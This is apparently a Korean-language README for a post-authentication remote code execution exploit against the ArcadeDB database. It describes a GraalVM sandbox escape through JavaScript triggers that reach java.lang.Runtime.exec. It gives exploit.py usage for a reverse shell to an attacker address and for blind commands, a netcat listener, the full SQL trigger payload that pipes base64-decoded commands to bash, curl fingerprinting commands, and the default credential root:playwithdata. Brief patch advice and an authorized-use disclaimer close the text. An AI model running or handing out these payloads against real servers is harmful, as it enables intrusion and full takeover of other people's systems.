
ArcadeDB의 인증 후 RCE 익스플로잇으로, JavaScript 트리거 GraalVM 샌드박스 탈출을 통해 HTTP API로 OS 명령을 실행하며 리버스 셸 또는 블라인드 명령 모드를 지원합니다.
인증 후 원격 코드 실행은 ArcadeDB(Java 멀티모델 데이터베이스)에서 호스트 클래스에 도달하는 JAVASCRIPT 트리거를 통해 발생합니다.
트리거의 GraalVM 폴리글랏 엔진은 **java.lang.***을 포함하는 호스트 클래스 허용 목록으로 구성됩니다(ScriptTriggerExecutor.setAllowedPackages). 따라서 트리거 스크립트는 다음을 호출할 수 있습니다:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false)는 이를 차단하지 않습니다 — Runtime.exec는 GraalVM의 게스트 프로세스 API가 아니라 HostAccess.ALL이 허용하는 호스트 메서드 호출입니다. 트리거를 생성하려면 UPDATE_SCHEMA 권한만 필요하며(직접 스크립팅을 제한하는 UPDATE_SECURITY보다 약한 권한), 따라서 root도 할 수 있습니다 — HTTP API를 통한 인증 후 RCE입니다.
< 26.7.2 (0 – 26.7.1)26.7.2 (트리거 허용 목록에서 java.lang.* 제거 + 프로세스/리플렉션/클래스로더 차단 목록이 있는 리터럴 HostClassLookupFilter 추가)2480 (HTTP API + Studio, Basic 인증)직접적인
language:js명령 경로는 벡터가 아닙니다 — 허용된 패키지가 없으며(Java.type차단됨)UPDATE_SECURITY뒤에 있습니다. 오직 트리거 실행기만java.lang.*을 하드코딩합니다.
Python 3 표준 라이브러리만 사용 — 종속성 없음. UPDATE_SCHEMA 권한이 있는 유효한 ArcadeDB 자격 증명(예: root). ArcadeDB에는 하드코딩된 기본 암호가 없지만, 자체 docker-compose.yml에 예시 root:playwithdata가 포함되어 있어 일반적으로 그대로 방치되는 자격 증명입니다.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
인증된 POST /api/v1/command/<db> 요청 3개(language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — BEFORE CREATE 트리거가 발동하고 JavaScript가 실행됩니다.OS 명령은 base64로 감싸져 JavaScript/SQL/JSON 계층에서 중첩 따옴표 이스케이프가 필요하지 않으며, 스크립트는 waitFor()를 생략하므로 exec가 즉시 반환됩니다(자식 프로세스는 계속 실행되고 요청은 차단되지 않습니다).
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
ArcadeDB ≥ 26.7.2로 업그레이드하고, 강력한 rootPassword를 설정하고(playwithdata 절대 사용 금지),
ArcadeDB를 root로 실행하지 말고, UPDATE_SCHEMA를 제한하며, HTTP API/Studio를 신뢰할 수 없는 네트워크에 노출하지 마세요.
승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유했거나 테스트할 명시적 권한이 있는 시스템에만 사용하십시오.